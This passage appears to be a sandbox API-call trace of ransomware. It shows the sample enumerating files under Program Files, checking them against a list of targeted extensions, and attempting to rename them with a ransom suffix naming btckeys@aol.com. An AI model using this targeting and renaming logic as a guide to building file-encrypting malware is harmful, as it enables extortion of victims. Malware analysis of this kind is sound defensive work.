lstrlenW (lpString=".pdf") returned 4 [0069.675] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.675] lstrlenW (lpString=".xls") returned 4 [0069.675] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.675] lstrlenW (lpString=".xlsx") returned 5 [0069.675] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0069.675] lstrlenW (lpString=".ppt") returned 4 [0069.675] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0069.675] lstrlenW (lpString=".zip") returned 4 [0069.675] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.675] lstrlenW (lpString=".rar") returned 4 [0069.675] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.675] lstrlenW (lpString=".bz2") returned 4 [0069.675] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.675] lstrlenW (lpString=".7z") returned 3 [0069.675] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0069.675] lstrlenW (lpString=".dbf") returned 4 [0069.675] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0069.675] lstrlenW (lpString=".1cd") returned 4 [0069.675] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0069.675] lstrlenW (lpString=".jpg") returned 4 [0069.675] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0069.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0069.675] lstrlenW (lpString=".doc") returned 4 [0069.675] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.675] lstrlenW (lpString=".docx") returned 5 [0069.675] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0069.675] lstrlenW (lpString=".pdf") returned 4 [0069.675] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.676] lstrlenW (lpString=".xls") returned 4 [0069.676] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.676] lstrlenW (lpString=".xlsx") returned 5 [0069.676] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0069.676] lstrlenW (lpString=".ppt") returned 4 [0069.676] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0069.676] lstrlenW (lpString=".zip") returned 4 [0069.676] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.676] lstrlenW (lpString=".rar") returned 4 [0069.676] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.676] lstrlenW (lpString=".bz2") returned 4 [0069.676] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.676] lstrlenW (lpString=".7z") returned 3 [0069.676] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0069.676] lstrlenW (lpString=".dbf") returned 4 [0069.676] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0069.676] lstrlenW (lpString=".1cd") returned 4 [0069.676] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0069.676] lstrlenW (lpString=".jpg") returned 4 [0069.676] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.676] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0069.676] lstrlenW (lpString="zh-dayi.xml") returned 11 [0069.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0069.677] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=11067) returned 1 [0069.677] CloseHandle (hObject=0x1d4) returned 1 [0069.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0069.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0069.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0069.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0069.677] lstrlenW (lpString=".doc") returned 4 [0069.677] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.677] lstrlenW (lpString=".docx") returned 5 [0069.677] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0069.677] lstrlenW (lpString=".pdf") returned 4 [0069.677] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.677] lstrlenW (lpString=".xls") returned 4 [0069.677] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.677] lstrlenW (lpString=".xlsx") returned 5 [0069.677] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0069.677] lstrlenW (lpString=".ppt") returned 4 [0069.677] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0069.677] lstrlenW (lpString=".zip") returned 4 [0069.677] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.677] lstrlenW (lpString=".rar") returned 4 [0069.678] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.678] lstrlenW (lpString=".bz2") returned 4 [0069.678] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.678] lstrlenW (lpString=".7z") returned 3 [0069.678] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0069.678] lstrlenW (lpString=".dbf") returned 4 [0069.678] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0069.678] lstrlenW (lpString=".1cd") returned 4 [0069.678] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0069.678] lstrlenW (lpString=".jpg") returned 4 [0069.678] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0069.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0069.678] lstrlenW (lpString=".doc") returned 4 [0069.678] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.678] lstrlenW (lpString=".docx") returned 5 [0069.678] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0069.678] lstrlenW (lpString=".pdf") returned 4 [0069.678] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.678] lstrlenW (lpString=".xls") returned 4 [0069.678] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.678] lstrlenW (lpString=".xlsx") returned 5 [0069.678] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0069.678] lstrlenW (lpString=".ppt") returned 4 [0069.678] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0069.678] lstrlenW (lpString=".zip") returned 4 [0069.678] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.678] lstrlenW (lpString=".rar") returned 4 [0069.678] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.678] lstrlenW (lpString=".bz2") returned 4 [0069.679] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.679] lstrlenW (lpString=".7z") returned 3 [0069.679] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0069.679] lstrlenW (lpString=".dbf") returned 4 [0069.679] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0069.679] lstrlenW (lpString=".1cd") returned 4 [0069.679] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0069.679] lstrlenW (lpString=".jpg") returned 4 [0069.679] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.679] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0069.679] lstrlenW (lpString="zh-phonetic.xml") returned 15 [0069.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0069.680] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=10947) returned 1 [0069.680] CloseHandle (hObject=0x1d4) returned 1 [0069.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0069.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0069.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0069.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0069.680] lstrlenW (lpString=".doc") returned 4 [0069.680] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.680] lstrlenW (lpString=".docx") returned 5 [0069.680] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0069.680] lstrlenW (lpString=".pdf") returned 4 [0069.680] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.680] lstrlenW (lpString=".xls") returned 4 [0069.681] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.681] lstrlenW (lpString=".xlsx") returned 5 [0069.681] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0069.681] lstrlenW (lpString=".ppt") returned 4 [0069.681] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0069.681] lstrlenW (lpString=".zip") returned 4 [0069.681] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.681] lstrlenW (lpString=".rar") returned 4 [0069.681] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.681] lstrlenW (lpString=".bz2") returned 4 [0069.681] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.681] lstrlenW (lpString=".7z") returned 3 [0069.681] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0069.681] lstrlenW (lpString=".dbf") returned 4 [0069.681] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0069.681] lstrlenW (lpString=".1cd") returned 4 [0069.681] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0069.681] lstrlenW (lpString=".jpg") returned 4 [0069.681] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0069.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0069.681] lstrlenW (lpString=".doc") returned 4 [0069.681] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.681] lstrlenW (lpString=".docx") returned 5 [0069.681] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0069.681] lstrlenW (lpString=".pdf") returned 4 [0069.681] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.682] lstrlenW (lpString=".xls") returned 4 [0069.682] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.682] lstrlenW (lpString=".xlsx") returned 5 [0069.682] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0069.682] lstrlenW (lpString=".ppt") returned 4 [0069.682] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0069.682] lstrlenW (lpString=".zip") returned 4 [0069.682] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.682] lstrlenW (lpString=".rar") returned 4 [0069.682] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.682] lstrlenW (lpString=".bz2") returned 4 [0069.682] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.682] lstrlenW (lpString=".7z") returned 3 [0069.682] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0069.682] lstrlenW (lpString=".dbf") returned 4 [0069.682] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0069.682] lstrlenW (lpString=".1cd") returned 4 [0069.682] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0069.682] lstrlenW (lpString=".jpg") returned 4 [0069.682] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.683] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0069.683] lstrlenW (lpString="main.xml") returned 8 [0069.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0069.683] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=38485) returned 1 [0069.683] CloseHandle (hObject=0x1d4) returned 1 [0069.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0069.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0069.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0069.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0069.683] lstrlenW (lpString=".doc") returned 4 [0069.684] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.684] lstrlenW (lpString=".docx") returned 5 [0069.684] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0069.684] lstrlenW (lpString=".pdf") returned 4 [0069.684] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.684] lstrlenW (lpString=".xls") returned 4 [0069.684] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.684] lstrlenW (lpString=".xlsx") returned 5 [0069.684] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0069.684] lstrlenW (lpString=".ppt") returned 4 [0069.684] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0069.684] lstrlenW (lpString=".zip") returned 4 [0069.684] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.684] lstrlenW (lpString=".rar") returned 4 [0069.684] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.684] lstrlenW (lpString=".bz2") returned 4 [0069.684] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.684] lstrlenW (lpString=".7z") returned 3 [0069.684] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0069.684] lstrlenW (lpString=".dbf") returned 4 [0069.684] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0069.684] lstrlenW (lpString=".1cd") returned 4 [0069.684] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0069.684] lstrlenW (lpString=".jpg") returned 4 [0069.684] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0069.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0069.684] lstrlenW (lpString=".doc") returned 4 [0069.684] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.684] lstrlenW (lpString=".docx") returned 5 [0069.684] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0069.685] lstrlenW (lpString=".pdf") returned 4 [0069.685] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.685] lstrlenW (lpString=".xls") returned 4 [0069.685] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.685] lstrlenW (lpString=".xlsx") returned 5 [0069.685] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0069.685] lstrlenW (lpString=".ppt") returned 4 [0069.685] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0069.685] lstrlenW (lpString=".zip") returned 4 [0069.685] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.685] lstrlenW (lpString=".rar") returned 4 [0069.685] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.685] lstrlenW (lpString=".bz2") returned 4 [0069.685] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.685] lstrlenW (lpString=".7z") returned 3 [0069.685] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0069.685] lstrlenW (lpString=".dbf") returned 4 [0069.685] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0069.685] lstrlenW (lpString=".1cd") returned 4 [0069.685] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0069.685] lstrlenW (lpString=".jpg") returned 4 [0069.685] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.685] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0069.685] lstrlenW (lpString="numbase.xml") returned 11 [0069.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0069.686] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=1218) returned 1 [0069.686] CloseHandle (hObject=0x1d4) returned 1 [0069.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml")) returned 0x20 [0069.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0069.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0069.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0069.686] lstrlenW (lpString=".doc") returned 4 [0069.686] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.686] lstrlenW (lpString=".docx") returned 5 [0069.686] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0069.686] lstrlenW (lpString=".pdf") returned 4 [0069.686] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.686] lstrlenW (lpString=".xls") returned 4 [0069.686] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.686] lstrlenW (lpString=".xlsx") returned 5 [0069.686] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0069.687] lstrlenW (lpString=".ppt") returned 4 [0069.687] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0069.687] lstrlenW (lpString=".zip") returned 4 [0069.687] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.687] lstrlenW (lpString=".rar") returned 4 [0069.687] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.687] lstrlenW (lpString=".bz2") returned 4 [0069.687] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.687] lstrlenW (lpString=".7z") returned 3 [0069.687] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0069.687] lstrlenW (lpString=".dbf") returned 4 [0069.687] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.696] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[btckeys@aol.com].2020")) returned 0 [0069.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[btckeys@aol.com].2020" (normalized: 